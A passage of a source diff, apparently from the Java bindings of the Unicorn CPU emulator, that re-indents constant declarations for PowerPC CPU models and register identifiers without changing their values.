UC_CPU_PPC32_750P = 188; - public static final int UC_CPU_PPC32_750CL_V1_0 = 189; - public static final int UC_CPU_PPC32_750CL_V2_0 = 190; - public static final int UC_CPU_PPC32_750CX_V1_0 = 191; - public static final int UC_CPU_PPC32_750CX_V2_0 = 192; - public static final int UC_CPU_PPC32_750CX_V2_1 = 193; - public static final int UC_CPU_PPC32_750CX_V2_2 = 194; - public static final int UC_CPU_PPC32_750CXE_V2_1 = 195; - public static final int UC_CPU_PPC32_750CXE_V2_2 = 196; - public static final int UC_CPU_PPC32_750CXE_V2_3 = 197; - public static final int UC_CPU_PPC32_750CXE_V2_4 = 198; - public static final int UC_CPU_PPC32_750CXE_V2_4B = 199; - public static final int UC_CPU_PPC32_750CXE_V3_0 = 200; - public static final int UC_CPU_PPC32_750CXE_V3_1 = 201; - public static final int UC_CPU_PPC32_750CXE_V3_1B = 202; - public static final int UC_CPU_PPC32_750CXR = 203; - public static final int UC_CPU_PPC32_750FL = 204; - public static final int UC_CPU_PPC32_750FX_V1_0 = 205; - public static final int UC_CPU_PPC32_750FX_V2_0 = 206; - public static final int UC_CPU_PPC32_750FX_V2_1 = 207; - public static final int UC_CPU_PPC32_750FX_V2_2 = 208; - public static final int UC_CPU_PPC32_750FX_V2_3 = 209; - public static final int UC_CPU_PPC32_750GL = 210; - public static final int UC_CPU_PPC32_750GX_V1_0 = 211; - public static final int UC_CPU_PPC32_750GX_V1_1 = 212; - public static final int UC_CPU_PPC32_750GX_V1_2 = 213; - public static final int UC_CPU_PPC32_750L_V2_0 = 214; - public static final int UC_CPU_PPC32_750L_V2_1 = 215; - public static final int UC_CPU_PPC32_750L_V2_2 = 216; - public static final int UC_CPU_PPC32_750L_V3_0 = 217; - public static final int UC_CPU_PPC32_750L_V3_2 = 218; - public static final int UC_CPU_PPC32_745_V1_0 = 219; - public static final int UC_CPU_PPC32_755_V1_0 = 220; - public static final int UC_CPU_PPC32_745_V1_1 = 221; - public static final int UC_CPU_PPC32_755_V1_1 = 222; - public static final int UC_CPU_PPC32_745_V2_0 = 223; - public static final int UC_CPU_PPC32_755_V2_0 = 224; - public static final int UC_CPU_PPC32_745_V2_1 = 225; - public static final int UC_CPU_PPC32_755_V2_1 = 226; - public static final int UC_CPU_PPC32_745_V2_2 = 227; - public static final int UC_CPU_PPC32_755_V2_2 = 228; - public static final int UC_CPU_PPC32_745_V2_3 = 229; - public static final int UC_CPU_PPC32_755_V2_3 = 230; - public static final int UC_CPU_PPC32_745_V2_4 = 231; - public static final int UC_CPU_PPC32_755_V2_4 = 232; - public static final int UC_CPU_PPC32_745_V2_5 = 233; - public static final int UC_CPU_PPC32_755_V2_5 = 234; - public static final int UC_CPU_PPC32_745_V2_6 = 235; - public static final int UC_CPU_PPC32_755_V2_6 = 236; - public static final int UC_CPU_PPC32_745_V2_7 = 237; - public static final int UC_CPU_PPC32_755_V2_7 = 238; - public static final int UC_CPU_PPC32_745_V2_8 = 239; - public static final int UC_CPU_PPC32_755_V2_8 = 240; - public static final int UC_CPU_PPC32_7400_V1_0 = 241; - public static final int UC_CPU_PPC32_7400_V1_1 = 242; - public static final int UC_CPU_PPC32_7400_V2_0 = 243; - public static final int UC_CPU_PPC32_7400_V2_1 = 244; - public static final int UC_CPU_PPC32_7400_V2_2 = 245; - public static final int UC_CPU_PPC32_7400_V2_6 = 246; - public static final int UC_CPU_PPC32_7400_V2_7 = 247; - public static final int UC_CPU_PPC32_7400_V2_8 = 248; - public static final int UC_CPU_PPC32_7400_V2_9 = 249; - public static final int UC_CPU_PPC32_7410_V1_0 = 250; - public static final int UC_CPU_PPC32_7410_V1_1 = 251; - public static final int UC_CPU_PPC32_7410_V1_2 = 252; - public static final int UC_CPU_PPC32_7410_V1_3 = 253; - public static final int UC_CPU_PPC32_7410_V1_4 = 254; - public static final int UC_CPU_PPC32_7448_V1_0 = 255; - public static final int UC_CPU_PPC32_7448_V1_1 = 256; - public static final int UC_CPU_PPC32_7448_V2_0 = 257; - public static final int UC_CPU_PPC32_7448_V2_1 = 258; - public static final int UC_CPU_PPC32_7450_V1_0 = 259; - public static final int UC_CPU_PPC32_7450_V1_1 = 260; - public static final int UC_CPU_PPC32_7450_V1_2 = 261; - public static final int UC_CPU_PPC32_7450_V2_0 = 262; - public static final int UC_CPU_PPC32_7450_V2_1 = 263; - public static final int UC_CPU_PPC32_7441_V2_1 = 264; - public static final int UC_CPU_PPC32_7441_V2_3 = 265; - public static final int UC_CPU_PPC32_7451_V2_3 = 266; - public static final int UC_CPU_PPC32_7441_V2_10 = 267; - public static final int UC_CPU_PPC32_7451_V2_10 = 268; - public static final int UC_CPU_PPC32_7445_V1_0 = 269; - public static final int UC_CPU_PPC32_7455_V1_0 = 270; - public static final int UC_CPU_PPC32_7445_V2_1 = 271; - public static final int UC_CPU_PPC32_7455_V2_1 = 272; - public static final int UC_CPU_PPC32_7445_V3_2 = 273; - public static final int UC_CPU_PPC32_7455_V3_2 = 274; - public static final int UC_CPU_PPC32_7445_V3_3 = 275; - public static final int UC_CPU_PPC32_7455_V3_3 = 276; - public static final int UC_CPU_PPC32_7445_V3_4 = 277; - public static final int UC_CPU_PPC32_7455_V3_4 = 278; - public static final int UC_CPU_PPC32_7447_V1_0 = 279; - public static final int UC_CPU_PPC32_7457_V1_0 = 280; - public static final int UC_CPU_PPC32_7447_V1_1 = 281; - public static final int UC_CPU_PPC32_7457_V1_1 = 282; - public static final int UC_CPU_PPC32_7457_V1_2 = 283; - public static final int UC_CPU_PPC32_7447A_V1_0 = 284; - public static final int UC_CPU_PPC32_7457A_V1_0 = 285; - public static final int UC_CPU_PPC32_7447A_V1_1 = 286; - public static final int UC_CPU_PPC32_7457A_V1_1 = 287; - public static final int UC_CPU_PPC32_7447A_V1_2 = 288; - public static final int UC_CPU_PPC32_7457A_V1_2 = 289; - public static final int UC_CPU_PPC32_ENDING = 290; + public static final int UC_CPU_PPC32_401 = 0; + public static final int UC_CPU_PPC32_401A1 = 1; + public static final int UC_CPU_PPC32_401B2 = 2; + public static final int UC_CPU_PPC32_401C2 = 3; + public static final int UC_CPU_PPC32_401D2 = 4; + public static final int UC_CPU_PPC32_401E2 = 5; + public static final int UC_CPU_PPC32_401F2 = 6; + public static final int UC_CPU_PPC32_401G2 = 7; + public static final int UC_CPU_PPC32_IOP480 = 8; + public static final int UC_CPU_PPC32_COBRA = 9; + public static final int UC_CPU_PPC32_403GA = 10; + public static final int UC_CPU_PPC32_403GB = 11; + public static final int UC_CPU_PPC32_403GC = 12; + public static final int UC_CPU_PPC32_403GCX = 13; + public static final int UC_CPU_PPC32_405D2 = 14; + public static final int UC_CPU_PPC32_405D4 = 15; + public static final int UC_CPU_PPC32_405CRA = 16; + public static final int UC_CPU_PPC32_405CRB = 17; + public static final int UC_CPU_PPC32_405CRC = 18; + public static final int UC_CPU_PPC32_405EP = 19; + public static final int UC_CPU_PPC32_405EZ = 20; + public static final int UC_CPU_PPC32_405GPA = 21; + public static final int UC_CPU_PPC32_405GPB = 22; + public static final int UC_CPU_PPC32_405GPC = 23; + public static final int UC_CPU_PPC32_405GPD = 24; + public static final int UC_CPU_PPC32_405GPR = 25; + public static final int UC_CPU_PPC32_405LP = 26; + public static final int UC_CPU_PPC32_NPE405H = 27; + public static final int UC_CPU_PPC32_NPE405H2 = 28; + public static final int UC_CPU_PPC32_NPE405L = 29; + public static final int UC_CPU_PPC32_NPE4GS3 = 30; + public static final int UC_CPU_PPC32_STB03 = 31; + public static final int UC_CPU_PPC32_STB04 = 32; + public static final int UC_CPU_PPC32_STB25 = 33; + public static final int UC_CPU_PPC32_X2VP4 = 34; + public static final int UC_CPU_PPC32_X2VP20 = 35; + public static final int UC_CPU_PPC32_440_XILINX = 36; + public static final int UC_CPU_PPC32_440_XILINX_W_DFPU = 37; + public static final int UC_CPU_PPC32_440EPA = 38; + public static final int UC_CPU_PPC32_440EPB = 39; + public static final int UC_CPU_PPC32_440EPX = 40; + public static final int UC_CPU_PPC32_460EXB = 41; + public static final int UC_CPU_PPC32_G2 = 42; + public static final int UC_CPU_PPC32_G2H4 = 43; + public static final int UC_CPU_PPC32_G2GP = 44; + public static final int UC_CPU_PPC32_G2LS = 45; + public static final int UC_CPU_PPC32_G2HIP3 = 46; + public static final int UC_CPU_PPC32_G2HIP4 = 47; + public static final int UC_CPU_PPC32_MPC603 = 48; + public static final int UC_CPU_PPC32_G2LE = 49; + public static final int UC_CPU_PPC32_G2LEGP = 50; + public static final int UC_CPU_PPC32_G2LELS = 51; + public static final int UC_CPU_PPC32_G2LEGP1 = 52; + public static final int UC_CPU_PPC32_G2LEGP3 = 53; + public static final int UC_CPU_PPC32_MPC5200_V10 = 54; + public static final int UC_CPU_PPC32_MPC5200_V11 = 55; + public static final int UC_CPU_PPC32_MPC5200_V12 = 56; + public static final int UC_CPU_PPC32_MPC5200B_V20 = 57; + public static final int UC_CPU_PPC32_MPC5200B_V21 = 58; + public static final int UC_CPU_PPC32_E200Z5 = 59; + public static final int UC_CPU_PPC32_E200Z6 = 60; + public static final int UC_CPU_PPC32_E300C1 = 61; + public static final int UC_CPU_PPC32_E300C2 = 62; + public static final int UC_CPU_PPC32_E300C3 = 63; + public static final int UC_CPU_PPC32_E300C4 = 64; + public static final int UC_CPU_PPC32_MPC8343 = 65; + public static final int UC_CPU_PPC32_MPC8343A = 66; + public static final int UC_CPU_PPC32_MPC8343E = 67; + public static final int UC_CPU_PPC32_MPC8343EA = 68; + public static final int UC_CPU_PPC32_MPC8347T = 69; + public static final int UC_CPU_PPC32_MPC8347P = 70; + public static final int UC_CPU_PPC32_MPC8347AT = 71; + public static final int UC_CPU_PPC32_MPC8347AP = 72; + public static final int UC_CPU_PPC32_MPC8347ET = 73; + public static final int UC_CPU_PPC32_MPC8347EP = 74; + public static final int UC_CPU_PPC32_MPC8347EAT = 75; + public static final int UC_CPU_PPC32_MPC8347EAP = 76; + public static final int UC_CPU_PPC32_MPC8349 = 77; + public static final int UC_CPU_PPC32_MPC8349A = 78; + public static final int UC_CPU_PPC32_MPC8349E = 79; + public static final int UC_CPU_PPC32_MPC8349EA = 80; + public static final int UC_CPU_PPC32_MPC8377 = 81; + public static final int UC_CPU_PPC32_MPC8377E = 82; + public static final int UC_CPU_PPC32_MPC8378 = 83; + public static final int UC_CPU_PPC32_MPC8378E = 84; + public static final int UC_CPU_PPC32_MPC8379 = 85; + public static final int UC_CPU_PPC32_MPC8379E = 86; + public static final int UC_CPU_PPC32_E500_V10 = 87; + public static final int UC_CPU_PPC32_E500_V20 = 88; + public static final int UC_CPU_PPC32_E500V2_V10 = 89; + public static final int UC_CPU_PPC32_E500V2_V20 = 90; + public static final int UC_CPU_PPC32_E500V2_V21 = 91; + public static final int UC_CPU_PPC32_E500V2_V22 = 92; + public static final int UC_CPU_PPC32_E500V2_V30 = 93; + public static final int UC_CPU_PPC32_E500MC = 94; + public static final int UC_CPU_PPC32_MPC8533_V10 = 95; + public static final int UC_CPU_PPC32_MPC8533_V11 = 96; + public static final int UC_CPU_PPC32_MPC8533E_V10 = 97; + public static final int UC_CPU_PPC32_MPC8533E_V11 = 98; + public static final int UC_CPU_PPC32_MPC8540_V10 = 99; + public static final int UC_CPU_PPC32_MPC8540_V20 = 100; + public static final int UC_CPU_PPC32_MPC8540_V21 = 101; + public static final int UC_CPU_PPC32_MPC8541_V10 = 102; + public static final int UC_CPU_PPC32_MPC8541_V11 = 103; + public static final int UC_CPU_PPC32_MPC8541E_V10 = 104; + public static final int UC_CPU_PPC32_MPC8541E_V11 = 105; + public static final int UC_CPU_PPC32_MPC8543_V10 = 106; + public static final int UC_CPU_PPC32_MPC8543_V11 = 107; + public static final int UC_CPU_PPC32_MPC8543_V20 = 108; + public static final int UC_CPU_PPC32_MPC8543_V21 = 109; + public static final int UC_CPU_PPC32_MPC8543E_V10 = 110; + public static final int UC_CPU_PPC32_MPC8543E_V11 = 111; + public static final int UC_CPU_PPC32_MPC8543E_V20 = 112; + public static final int UC_CPU_PPC32_MPC8543E_V21 = 113; + public static final int UC_CPU_PPC32_MPC8544_V10 = 114; + public static final int UC_CPU_PPC32_MPC8544_V11 = 115; + public static final int UC_CPU_PPC32_MPC8544E_V10 = 116; + public static final int UC_CPU_PPC32_MPC8544E_V11 = 117; + public static final int UC_CPU_PPC32_MPC8545_V20 = 118; + public static final int UC_CPU_PPC32_MPC8545_V21 = 119; + public static final int UC_CPU_PPC32_MPC8545E_V20 = 120; + public static final int UC_CPU_PPC32_MPC8545E_V21 = 121; + public static final int UC_CPU_PPC32_MPC8547E_V20 = 122; + public static final int UC_CPU_PPC32_MPC8547E_V21 = 123; + public static final int UC_CPU_PPC32_MPC8548_V10 = 124; + public static final int UC_CPU_PPC32_MPC8548_V11 = 125; + public static final int UC_CPU_PPC32_MPC8548_V20 = 126; + public static final int UC_CPU_PPC32_MPC8548_V21 = 127; + public static final int UC_CPU_PPC32_MPC8548E_V10 = 128; + public static final int UC_CPU_PPC32_MPC8548E_V11 = 129; + public static final int UC_CPU_PPC32_MPC8548E_V20 = 130; + public static final int UC_CPU_PPC32_MPC8548E_V21 = 131; + public static final int UC_CPU_PPC32_MPC8555_V10 = 132; + public static final int UC_CPU_PPC32_MPC8555_V11 = 133; + public static final int UC_CPU_PPC32_MPC8555E_V10 = 134; + public static final int UC_CPU_PPC32_MPC8555E_V11 = 135; + public static final int UC_CPU_PPC32_MPC8560_V10 = 136; + public static final int UC_CPU_PPC32_MPC8560_V20 = 137; + public static final int UC_CPU_PPC32_MPC8560_V21 = 138; + public static final int UC_CPU_PPC32_MPC8567 = 139; + public static final int UC_CPU_PPC32_MPC8567E = 140; + public static final int UC_CPU_PPC32_MPC8568 = 141; + public static final int UC_CPU_PPC32_MPC8568E = 142; + public static final int UC_CPU_PPC32_MPC8572 = 143; + public static final int UC_CPU_PPC32_MPC8572E = 144; + public static final int UC_CPU_PPC32_E600 = 145; + public static final int UC_CPU_PPC32_MPC8610 = 146; + public static final int UC_CPU_PPC32_MPC8641 = 147; + public static final int UC_CPU_PPC32_MPC8641D = 148; + public static final int UC_CPU_PPC32_601_V0 = 149; + public static final int UC_CPU_PPC32_601_V1 = 150; + public static final int UC_CPU_PPC32_601_V2 = 151; + public static final int UC_CPU_PPC32_602 = 152; + public static final int UC_CPU_PPC32_603 = 153; + public static final int UC_CPU_PPC32_603E_V1_1 = 154; + public static final int UC_CPU_PPC32_603E_V1_2 = 155; + public static final int UC_CPU_PPC32_603E_V1_3 = 156; + public static final int UC_CPU_PPC32_603E_V1_4 = 157; + public static final int UC_CPU_PPC32_603E_V2_2 = 158; + public static final int UC_CPU_PPC32_603E_V3 = 159; + public static final int UC_CPU_PPC32_603E_V4 = 160; + public static final int UC_CPU_PPC32_603E_V4_1 = 161; + public static final int UC_CPU_PPC32_603E7 = 162; + public static final int UC_CPU_PPC32_603E7T = 163; + public static final int UC_CPU_PPC32_603E7V = 164; + public static final int UC_CPU_PPC32_603E7V1 = 165; + public static final int UC_CPU_PPC32_603E7V2 = 166; + public static final int UC_CPU_PPC32_603P = 167; + public static final int UC_CPU_PPC32_604 = 168; + public static final int UC_CPU_PPC32_604E_V1_0 = 169; + public static final int UC_CPU_PPC32_604E_V2_2 = 170; + public static final int UC_CPU_PPC32_604E_V2_4 = 171; + public static final int UC_CPU_PPC32_604R = 172; + public static final int UC_CPU_PPC32_740_V1_0 = 173; + public static final int UC_CPU_PPC32_750_V1_0 = 174; + public static final int UC_CPU_PPC32_740_V2_0 = 175; + public static final int UC_CPU_PPC32_750_V2_0 = 176; + public static final int UC_CPU_PPC32_740_V2_1 = 177; + public static final int UC_CPU_PPC32_750_V2_1 = 178; + public static final int UC_CPU_PPC32_740_V2_2 = 179; + public static final int UC_CPU_PPC32_750_V2_2 = 180; + public static final int UC_CPU_PPC32_740_V3_0 = 181; + public static final int UC_CPU_PPC32_750_V3_0 = 182; + public static final int UC_CPU_PPC32_740_V3_1 = 183; + public static final int UC_CPU_PPC32_750_V3_1 = 184; + public static final int UC_CPU_PPC32_740E = 185; + public static final int UC_CPU_PPC32_750E = 186; + public static final int UC_CPU_PPC32_740P = 187; + public static final int UC_CPU_PPC32_750P = 188; + public static final int UC_CPU_PPC32_750CL_V1_0 = 189; + public static final int UC_CPU_PPC32_750CL_V2_0 = 190; + public static final int UC_CPU_PPC32_750CX_V1_0 = 191; + public static final int UC_CPU_PPC32_750CX_V2_0 = 192; + public static final int UC_CPU_PPC32_750CX_V2_1 = 193; + public static final int UC_CPU_PPC32_750CX_V2_2 = 194; + public static final int UC_CPU_PPC32_750CXE_V2_1 = 195; + public static final int UC_CPU_PPC32_750CXE_V2_2 = 196; + public static final int UC_CPU_PPC32_750CXE_V2_3 = 197; + public static final int UC_CPU_PPC32_750CXE_V2_4 = 198; + public static final int UC_CPU_PPC32_750CXE_V2_4B = 199; + public static final int UC_CPU_PPC32_750CXE_V3_0 = 200; + public static final int UC_CPU_PPC32_750CXE_V3_1 = 201; + public static final int UC_CPU_PPC32_750CXE_V3_1B = 202; + public static final int UC_CPU_PPC32_750CXR = 203; + public static final int UC_CPU_PPC32_750FL = 204; + public static final int UC_CPU_PPC32_750FX_V1_0 = 205; + public static final int UC_CPU_PPC32_750FX_V2_0 = 206; + public static final int UC_CPU_PPC32_750FX_V2_1 = 207; + public static final int UC_CPU_PPC32_750FX_V2_2 = 208; + public static final int UC_CPU_PPC32_750FX_V2_3 = 209; + public static final int UC_CPU_PPC32_750GL = 210; + public static final int UC_CPU_PPC32_750GX_V1_0 = 211; + public static final int UC_CPU_PPC32_750GX_V1_1 = 212; + public static final int UC_CPU_PPC32_750GX_V1_2 = 213; + public static final int UC_CPU_PPC32_750L_V2_0 = 214; + public static final int UC_CPU_PPC32_750L_V2_1 = 215; + public static final int UC_CPU_PPC32_750L_V2_2 = 216; + public static final int UC_CPU_PPC32_750L_V3_0 = 217; + public static final int UC_CPU_PPC32_750L_V3_2 = 218; + public static final int UC_CPU_PPC32_745_V1_0 = 219; + public static final int UC_CPU_PPC32_755_V1_0 = 220; + public static final int UC_CPU_PPC32_745_V1_1 = 221; + public static final int UC_CPU_PPC32_755_V1_1 = 222; + public static final int UC_CPU_PPC32_745_V2_0 = 223; + public static final int UC_CPU_PPC32_755_V2_0 = 224; + public static final int UC_CPU_PPC32_745_V2_1 = 225; + public static final int UC_CPU_PPC32_755_V2_1 = 226; + public static final int UC_CPU_PPC32_745_V2_2 = 227; + public static final int UC_CPU_PPC32_755_V2_2 = 228; + public static final int UC_CPU_PPC32_745_V2_3 = 229; + public static final int UC_CPU_PPC32_755_V2_3 = 230; + public static final int UC_CPU_PPC32_745_V2_4 = 231; + public static final int UC_CPU_PPC32_755_V2_4 = 232; + public static final int UC_CPU_PPC32_745_V2_5 = 233; + public static final int UC_CPU_PPC32_755_V2_5 = 234; + public static final int UC_CPU_PPC32_745_V2_6 = 235; + public static final int UC_CPU_PPC32_755_V2_6 = 236; + public static final int UC_CPU_PPC32_745_V2_7 = 237; + public static final int UC_CPU_PPC32_755_V2_7 = 238; + public static final int UC_CPU_PPC32_745_V2_8 = 239; + public static final int UC_CPU_PPC32_755_V2_8 = 240; + public static final int UC_CPU_PPC32_7400_V1_0 = 241; + public static final int UC_CPU_PPC32_7400_V1_1 = 242; + public static final int UC_CPU_PPC32_7400_V2_0 = 243; + public static final int UC_CPU_PPC32_7400_V2_1 = 244; + public static final int UC_CPU_PPC32_7400_V2_2 = 245; + public static final int UC_CPU_PPC32_7400_V2_6 = 246; + public static final int UC_CPU_PPC32_7400_V2_7 = 247; + public static final int UC_CPU_PPC32_7400_V2_8 = 248; + public static final int UC_CPU_PPC32_7400_V2_9 = 249; + public static final int UC_CPU_PPC32_7410_V1_0 = 250; + public static final int UC_CPU_PPC32_7410_V1_1 = 251; + public static final int UC_CPU_PPC32_7410_V1_2 = 252; + public static final int UC_CPU_PPC32_7410_V1_3 = 253; + public static final int UC_CPU_PPC32_7410_V1_4 = 254; + public static final int UC_CPU_PPC32_7448_V1_0 = 255; + public static final int UC_CPU_PPC32_7448_V1_1 = 256; + public static final int UC_CPU_PPC32_7448_V2_0 = 257; + public static final int UC_CPU_PPC32_7448_V2_1 = 258; + public static final int UC_CPU_PPC32_7450_V1_0 = 259; + public static final int UC_CPU_PPC32_7450_V1_1 = 260; + public static final int UC_CPU_PPC32_7450_V1_2 = 261; + public static final int UC_CPU_PPC32_7450_V2_0 = 262; + public static final int UC_CPU_PPC32_7450_V2_1 = 263; + public static final int UC_CPU_PPC32_7441_V2_1 = 264; + public static final int UC_CPU_PPC32_7441_V2_3 = 265; + public static final int UC_CPU_PPC32_7451_V2_3 = 266; + public static final int UC_CPU_PPC32_7441_V2_10 = 267; + public static final int UC_CPU_PPC32_7451_V2_10 = 268; + public static final int UC_CPU_PPC32_7445_V1_0 = 269; + public static final int UC_CPU_PPC32_7455_V1_0 = 270; + public static final int UC_CPU_PPC32_7445_V2_1 = 271; + public static final int UC_CPU_PPC32_7455_V2_1 = 272; + public static final int UC_CPU_PPC32_7445_V3_2 = 273; + public static final int UC_CPU_PPC32_7455_V3_2 = 274; + public static final int UC_CPU_PPC32_7445_V3_3 = 275; + public static final int UC_CPU_PPC32_7455_V3_3 = 276; + public static final int UC_CPU_PPC32_7445_V3_4 = 277; + public static final int UC_CPU_PPC32_7455_V3_4 = 278; + public static final int UC_CPU_PPC32_7447_V1_0 = 279; + public static final int UC_CPU_PPC32_7457_V1_0 = 280; + public static final int UC_CPU_PPC32_7447_V1_1 = 281; + public static final int UC_CPU_PPC32_7457_V1_1 = 282; + public static final int UC_CPU_PPC32_7457_V1_2 = 283; + public static final int UC_CPU_PPC32_7447A_V1_0 = 284; + public static final int UC_CPU_PPC32_7457A_V1_0 = 285; + public static final int UC_CPU_PPC32_7447A_V1_1 = 286; + public static final int UC_CPU_PPC32_7457A_V1_1 = 287; + public static final int UC_CPU_PPC32_7447A_V1_2 = 288; + public static final int UC_CPU_PPC32_7457A_V1_2 = 289; + public static final int UC_CPU_PPC32_ENDING = 290; -// PPC64 CPU + // PPC64 CPU - public static final int UC_CPU_PPC64_E5500 = 0; - public static final int UC_CPU_PPC64_E6500 = 1; - public static final int UC_CPU_PPC64_970_V2_2 = 2; - public static final int UC_CPU_PPC64_970FX_V1_0 = 3; - public static final int UC_CPU_PPC64_970FX_V2_0 = 4; - public static final int UC_CPU_PPC64_970FX_V2_1 = 5; - public static final int UC_CPU_PPC64_970FX_V3_0 = 6; - public static final int UC_CPU_PPC64_970FX_V3_1 = 7; - public static final int UC_CPU_PPC64_970MP_V1_0 = 8; - public static final int UC_CPU_PPC64_970MP_V1_1 = 9; - public static final int UC_CPU_PPC64_POWER5_V2_1 = 10; - public static final int UC_CPU_PPC64_POWER7_V2_3 = 11; - public static final int UC_CPU_PPC64_POWER7_V2_1 = 12; - public static final int UC_CPU_PPC64_POWER8E_V2_1 = 13; - public static final int UC_CPU_PPC64_POWER8_V2_0 = 14; - public static final int UC_CPU_PPC64_POWER8NVL_V1_0 = 15; - public static final int UC_CPU_PPC64_POWER9_V1_0 = 16; - public static final int UC_CPU_PPC64_POWER9_V2_0 = 17; - public static final int UC_CPU_PPC64_POWER10_V1_0 = 18; - public static final int UC_CPU_PPC64_ENDING = 19; + public static final int UC_CPU_PPC64_E5500 = 0; + public static final int UC_CPU_PPC64_E6500 = 1; + public static final int UC_CPU_PPC64_970_V2_2 = 2; + public static final int UC_CPU_PPC64_970FX_V1_0 = 3; + public static final int UC_CPU_PPC64_970FX_V2_0 = 4; + public static final int UC_CPU_PPC64_970FX_V2_1 = 5; + public static final int UC_CPU_PPC64_970FX_V3_0 = 6; + public static final int UC_CPU_PPC64_970FX_V3_1 = 7; + public static final int UC_CPU_PPC64_970MP_V1_0 = 8; + public static final int UC_CPU_PPC64_970MP_V1_1 = 9; + public static final int UC_CPU_PPC64_POWER5_V2_1 = 10; + public static final int UC_CPU_PPC64_POWER7_V2_3 = 11; + public static final int UC_CPU_PPC64_POWER7_V2_1 = 12; + public static final int UC_CPU_PPC64_POWER8E_V2_1 = 13; + public static final int UC_CPU_PPC64_POWER8_V2_0 = 14; + public static final int UC_CPU_PPC64_POWER8NVL_V1_0 = 15; + public static final int UC_CPU_PPC64_POWER9_V1_0 = 16; + public static final int UC_CPU_PPC64_POWER9_V2_0 = 17; + public static final int UC_CPU_PPC64_POWER10_V1_0 = 18; + public static final int UC_CPU_PPC64_ENDING = 19; -// PPC registers + // PPC registers - public static final int UC_PPC_REG_INVALID = 0; + public static final int UC_PPC_REG_INVALID = 0; -// General purpose registers - public static final int UC_PPC_REG_PC = 1; - public static final int UC_PPC_REG_0 = 2; - public static final int UC_PPC_REG_1 = 3; - public static final int UC_PPC_REG_2 = 4; - public static final int UC_PPC_REG_3 = 5; - public static final int UC_PPC_REG_4 = 6; - public static final int UC_PPC_REG_5 = 7; - public static final int UC_PPC_REG_6 = 8; - public static final int UC_PPC_REG_7 = 9; - public static final int UC_PPC_REG_8 = 10; - public static final int UC_PPC_REG_9 = 11; - public static final int UC_PPC_REG_10 = 12; - public static final int UC_PPC_REG_11 = 13; - public static final int UC_PPC_REG_12 = 14; - public static final int UC_PPC_REG_13 = 15; - public static final int UC_PPC_REG_14 = 16; - public static final int UC_PPC_REG_15 = 17; - public static final int UC_PPC_REG_16 = 18; - public static final int UC_PPC_REG_17 = 19; - public static final int UC_PPC_REG_18 = 20; - public static final int UC_PPC_REG_19 = 21; - public static final int UC_PPC_REG_20 = 22; - public static final int UC_PPC_REG_21 = 23; - public static final int UC_PPC_REG_22 = 24; - public static final int UC_PPC_REG_23 = 25; - public static final int UC_PPC_REG_24 = 26; - public static final int UC_PPC_REG_25 = 27; - public static final int UC_PPC_REG_26 = 28; - public static final int UC_PPC_REG_27 = 29; - public static final int UC_PPC_REG_28 = 30; - public static final int UC_PPC_REG_29 = 31; - public static final int UC_PPC_REG_30 = 32; - public static final int UC_PPC_REG_31 = 33; - public static final int UC_PPC_REG_CR0 = 34; - public static final int UC_PPC_REG_CR1 = 35; - public static final int UC_PPC_REG_CR2 = 36; - public static final int UC_PPC_REG_CR3 = 37; - public static final int UC_PPC_REG_CR4 = 38; - public static final int UC_PPC_REG_CR5 = 39; - public static final int UC_PPC_REG_CR6 = 40; - public static final int UC_PPC_REG_CR7 = 41; - public static final int UC_PPC_REG_FPR0 = 42; - public static final int UC_PPC_REG_FPR1 = 43; - public static final int UC_PPC_REG_FPR2 = 44; - public static final int UC_PPC_REG_FPR3 = 45; - public static final int UC_PPC_REG_FPR4 = 46; - public static final int UC_PPC_REG_FPR5 = 47; - public static final int UC_PPC_REG_FPR6 = 48; - public static final int UC_PPC_REG_FPR7 = 49; - public static final int UC_PPC_REG_FPR8 = 50; - public static final int UC_PPC_REG_FPR9 = 51; - public static final int UC_PPC_REG_FPR10 = 52; - public static final int UC_PPC_REG_FPR11 = 53; - public static final int UC_PPC_REG_FPR12 = 54; - public static final int UC_PPC_REG_FPR13 = 55; - public static final int UC_PPC_REG_FPR14 = 56; - public static final int UC_PPC_REG_FPR15 = 57; - public static final int UC_PPC_REG_FPR16 = 58; - public static final int UC_PPC_REG_FPR17 = 59; - public static final int UC_PPC_REG_FPR18 = 60; - public static final int UC_PPC_REG_FPR19 = 61; - public static final int UC_PPC_REG_FPR20 = 62; - public static final int UC_PPC_REG_FPR21 = 63; - public static final int UC_PPC_REG_FPR22 = 64; - public static final int UC_PPC_REG_FPR23 = 65; - public static final int UC_PPC_REG_FPR24 = 66; - public static final int UC_PPC_REG_FPR25 = 67; - public static final int UC_PPC_REG_FPR26 = 68; - public static final int UC_PPC_REG_FPR27 = 69; - public static final int UC_PPC_REG_FPR28 = 70; - public static final int UC_PPC_REG_FPR29 = 71; - public static final int UC_PPC_REG_FPR30 = 72; - public static final int UC_PPC_REG_FPR31 = 73; - public static final int UC_PPC_REG_LR = 74; - public static final int UC_PPC_REG_XER = 75; - public static final int UC_PPC_REG_CTR = 76; - public static final int UC_PPC_REG_MSR = 77; - public static final int UC_PPC_REG_FPSCR = 78; - public static final int UC_PPC_REG_CR = 79; - public static final int UC_PPC_REG_ENDING = 80; + // General purpose registers + public static final int UC_PPC_REG_PC = 1; + public static final int UC_PPC_REG_0 = 2; + public static final int UC_PPC_REG_1 = 3; + public static final int UC_PPC_REG_2 = 4; + public static final int UC_PPC_REG_3 = 5; + public static final int UC_PPC_REG_4 = 6; + public static final int UC_PPC_REG_5 = 7; + public static final int UC_PPC_REG_6 = 8; + public static final int UC_PPC_REG_7 = 9; + public static final int UC_PPC_REG_8 = 10; + public static final int UC_PPC_REG_9 = 11; + public static final int UC_PPC_REG_10 = 12; + public static final int UC_PPC_REG_11 = 13; + public static final int UC_PPC_REG_12 = 14; + public static final int UC_PPC_REG_13 = 15; + public static final int UC_PPC_REG_14 = 16; + public static final int UC_PPC_REG_15 = 17; + public static final int UC_PPC_REG_16 = 18; + public static final int UC_PPC_REG_17 = 19; + public static final int UC_PPC_REG_18 = 20; + public static final int UC_PPC_REG_19 = 21; + public static final int UC_PPC_REG_20 = 22; + public static final int UC_PPC_REG_21 = 23; + public static final int UC_PPC_REG_22 = 24; + public static final int UC_PPC_REG_23 = 25; + public static final int UC_PPC_REG_24 = 26; + public static final int UC_PPC_REG_25 = 27; + public static final int UC_PPC_REG_26 = 28; + public static final int UC_PPC_REG_27 = 29; + public static final int UC_PPC_REG_28 = 30; + public static final int UC_PPC_REG_29 = 31; + public static final int UC_PPC_REG_30 = 32; + public static final int UC_PPC_REG_31 = 33; + public static final int UC_PPC_REG_CR0 = 34; + public static final int UC_PPC_REG_CR1 = 35; + public static final int UC_PPC_REG_CR2 = 36; + public static final int UC_PPC_REG_CR3 = 37; + public static final int 